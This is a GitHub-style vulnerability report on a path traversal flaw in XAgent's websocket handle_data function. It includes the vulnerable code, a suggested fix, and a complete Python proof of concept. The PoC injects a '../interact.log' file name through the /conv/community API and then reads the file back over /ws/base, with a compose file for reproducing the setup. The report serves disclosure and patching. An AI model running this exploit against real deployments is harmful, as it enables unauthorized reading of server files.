Skip to content

[Vulnerability] Path Traversal in /ws/base endpoint #437

Description

@Usman-Oliveira

Vulnerability report: XAgent path traversal

Affected product

Vendor: OpenBMB

Product: XAgent

Vulnerability component: MainServer.send_data function in XAgentServer/application/websockets/base.py

Version: 3619c25

Vulnerability summary

MainServer.send_data() sends pending interaction records to the websocket client and calls handle_data() to enrich notebook image outputs. The handle_data() function treats file_name from the stored Raw record as a trusted workspace file name, joins it into a filesystem path, then reads and returns the file content as base64.

The vulnerable function call chain is:

MainServer.send_data()
  -> handle_data()

The vulnerable data flow is:

send_data function:
  InteractionCRUD.get_next_send
  -> rows
  -> row

handle_data function:
  row
  -> row.data
  -> data["using_tools"]
  -> using_tools["tool_output"]
  -> tool_output
  -> output
  -> output["file_name"]
  -> file_name
  -> file_path

An authenticated user can first pollute the database through the /conv/community API by submitting a crafted raws JSON payload. The inserted Raw record can contain data.using_tools.tool_output[*].file_name with a path traversal value such as ../interact.log. After that, connecting to /ws/base/{interaction_id} and sending a normal websocket message triggers send_data(), which fetches the crafted Raw record and passes it into handle_data().

The vulnerable code is in
XAgentServer/application/websockets/common.py:

file_path = os.path.join(root_dir, "workspace", file_name)
if os.path.exists(file_path):
    try:
        with open(file_path, "rb") as f:
            png_base64 = base64.b64encode(
                f.read()).decode("utf-8")
    except Exception:
        pass

Because file_name is not restricted to a basename and the resolved path is not checked against the workspace directory, ../ escapes the workspace and allows reading files outside the intended directory.

Suggested fix

Add a security check in handle_data function. Code snippet:

for output in tool_output:
    ...
    workspace = os.path.realpath(os.path.join(root_dir, "workspace"))
    file_path = os.path.realpath(os.path.join(workspace, file_name))
    if not file_path.startswith(workspace + os.sep):
        print("path traversal detected !")
        continue

POC

Prerequisites:

The PoC uses the real XAgent Docker services, MySQL, Redis, the /conv/community HTTP API, and the /ws/base/{interaction_id} websocket endpoint. The helper compose file avoids host MySQL port conflicts and pins MySQL to 8.0 because the project compose file uses the floating mysql image.

cd your-path-to/XAgent

Step 1: Start XAgent and the required databases.

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  up -d

Check that the services are running:

sudo docker compose -p xagentrepro \
  -f your-path-to/poc/xagent-compose-repro.yml \
  ps

Expected important services:

xagentrepro-XAgentServer-1        Up
xagentrepro-xagent-mysql-1        healthy
xagentrepro-xagent-redis-1        healthy

The backend listens on:

http://127.0.0.1:8090
ws://127.0.0.1:8090/ws/base/{interaction_id}

Step 2: Send the PoC payload through the community API and trigger send_data().

python3 your-path-to/poc/community_ws_poc.py

The script performs both actions:

POST /conv/community
  -> inserts a crafted interaction and Raw record into MySQL through the HTTP API

websocket /ws/base/{interaction_id}
  -> sends a normal type=data message
  -> starts the scheduler
  -> triggers send_data()
  -> send_data() fetches the malicious Raw row
  -> handle_data() reads workspace/../interact.log

The crafted Raw record contains:

{
  "data": {
    "using_tools": {
      "tool_name": "PythonNotebook_execute_cell",
      "tool_output": [
        {
          "file_name": "../interact.log"
        }
      ]
    }
  },
  "include_pictures": true,
  "is_send": false
}

Successful output contains:

community_status 200 {"data":null,"success":true,"message":"success"}
"interaction_id": "..."
...
read_content: 2026-... 
poc_success True

read_content contains the contents of interact.log, which is outside the workspace directory. This confirms that handle_data() read a path traversed by ../interact.log.

reference related files

The PoC files are listed below:

  • community_ws_poc.py
import asyncio
import base64
import datetime
import io
import json
import time
import uuid
import zipfile

import requests
import websockets


BASE = "http://127.0.0.1:8090"
USER = "guest"
TOKEN = "xagent"


def make_empty_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED):
        pass
    buf.seek(0)
    return buf


def insert_via_community():
    interaction_id = uuid.uuid4().hex
    now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    malicious_node = uuid.uuid4().hex
    finish_node = uuid.uuid4().hex

    interaction = {
        "interaction_id": interaction_id,
        "user_id": USER,
        "create_time": now,
        "update_time": now,
        "description": "community-poc",
        "agent": "",
        "mode": "manual",
        "file_list": [],
        "recorder_root_dir": "",
        "status": "ready",
        "message": "ready...",
        "current_step": "-1",
        "is_deleted": False,
        "call_method": "web",
    }
    raws = [
        {
            "node_id": malicious_node,
            "interaction_id": interaction_id,
            "current": "community-poc",
            "step": 0,
            "data": {
                "using_tools": {
                    "tool_name": "PythonNotebook_execute_cell",
                    "tool_input": "{}",
                    "tool_output": [{"file_name": "../interact.log"}],
                    "tool_status_code": "TOOL_CALL_SUCCESS",
                }
            },
            "file_list": [],
            "status": "inner",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": True,
        },
        {
            "node_id": finish_node,
            "interaction_id": interaction_id,
            "current": "finish",
            "step": 1,
            "data": {"done": True},
            "file_list": [],
            "status": "finished",
            "do_interrupt": False,
            "wait_seconds": 0,
            "ask_for_human_help": False,
            "create_time": now,
            "update_time": now,
            "is_deleted": False,
            "is_human": False,
            "human_data": {},
            "human_file_list": [],
            "is_send": False,
            "is_receive": False,
            "include_pictures": False,
        },
    ]

    z = make_empty_zip()
    resp = requests.post(
        BASE + "/conv/community",
        data={
            "user_id": USER,
            "token": TOKEN,
            "user_name": "guest",
            "interaction": json.dumps(interaction),
            "raws": json.dumps(raws),
        },
        files={"files": ("workspace.zip", z.getvalue(), "application/zip")},
        timeout=20,
    )
    print("community_status", resp.status_code, resp.text)
    resp.raise_for_status()
    print("interaction_id", interaction_id)
    print("malicious_node", malicious_node)
    return interaction_id


async def trigger_ws(interaction_id):
    url = (
        f"ws://127.0.0.1:8090/ws/base/{interaction_id}"
        f"?user_id={USER}&token={TOKEN}&description=community-poc"
    )
    async with websockets.connect(url, ping_interval=None) as ws:
        first = await ws.recv()
        print("ws_first", first[:500])
        await ws.send(
            json.dumps(
                {
                    "type": "data",
                    "args": {"goal": "trigger send_data only"},
                    "agent": "",
                    "mode": "manual",
                    "file_list": [],
                }
            )
        )
        deadline = time.time() + 20
        while time.time() < deadline:
            msg = await asyncio.wait_for(ws.recv(), timeout=deadline - time.time())
            print("ws_msg", msg)
            obj = json.loads(msg)
            outputs = (
                ((obj.get("data") or {}).get("using_tools") or {}).get("tool_output")
                or []
            )
            if outputs and isinstance(outputs[0], dict) and outputs[0].get("file_data"):
                decoded = base64.b64decode(outputs[0]["file_data"]).decode(
                    errors="replace"
                )
                print("read_content:", decoded[:300])
                print("poc_success", "Receive connection" in decoded or "Send data" in decoded)
                return
        print("poc_success", False)


if __name__ == "__main__":
    iid = insert_via_community()
    asyncio.run(trigger_ws(iid))
  • xagent-compose-repro.yml
services:
  ToolServerManager:
    image: xagentteam/toolserver-manager:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerManager/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config
      - /var/run/docker.sock:/var/run/docker.sock
    environment:
      DB_HOST: db
      DB_PORT: 27017
      DB_USERNAME: admin
      DB_PASSWORD: xagentmongodb
      DB_COLLECTION: TSM
    depends_on:
      - db
    command: ["--workers", "2", "-t", "600"]

  ToolServerNode:
    image: xagentteam/toolserver-node:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/ToolServerNode/Dockerfile
    volumes:
      - toolserverconfig:/app/assets/config

  db:
    image: mongo
    volumes:
      - xagentmongodb:/data/db
    environment:
      MONGO_INITDB_ROOT_USERNAME: admin
      MONGO_INITDB_ROOT_PASSWORD: xagentmongodb
    logging:
      driver: "none"

  XAgentServer:
    image: xagentteam/xagent-server:latest
    build:
      context: your-path-to/XAgent
      dockerfile: dockerfiles/XAgentServer/Dockerfile
    env_file:
      - your-path-to/XAgent/.env
    environment:
      - TOOLSERVER_URL=http://ToolServerManager:8080
      - MYSQL_DB_URL=mysql+pymysql://root:xagent@xagent-mysql:3306/xagent
      - REDIS_HOST=xagent-redis
    volumes:
      - your-path-to/XAgent/assets:/app/assets:ro
    ports:
      - "5173:5173"
      - "8090:8090"
    depends_on:
      xagent-mysql:
        condition: service_healthy
      xagent-redis:
        condition: service_healthy

  xagent-mysql:
    image: mysql:8.0
    command:
      - --default-authentication-plugin=caching_sha2_password
      - --character-set-server=utf8mb4
      - --collation-server=utf8mb4_unicode_ci
    environment:
      MYSQL_ROOT_PASSWORD: xagent
    volumes:
      - your-path-to/XAgent/XAgentServer/database/sql:/docker-entrypoint-initdb.d
    healthcheck:
      test: ["CMD-SHELL", "mysql -h localhost -u root -pxagent -e 'SELECT 1'"]
      timeout: 20s
      retries: 20

  xagent-redis:
    image: redis
    command: redis-server --requirepass xagent
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 20

volumes:
  xagentmongodb:
  toolserverconfig:
    name: xagentrepro_toolserverconfig
    driver: local
    driver_opts:
      type: none
      device: your-path-to/XAgent/assets/config
      o: bind

networks:
  default:
    name: xagent-repro-network
    driver: bridge

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions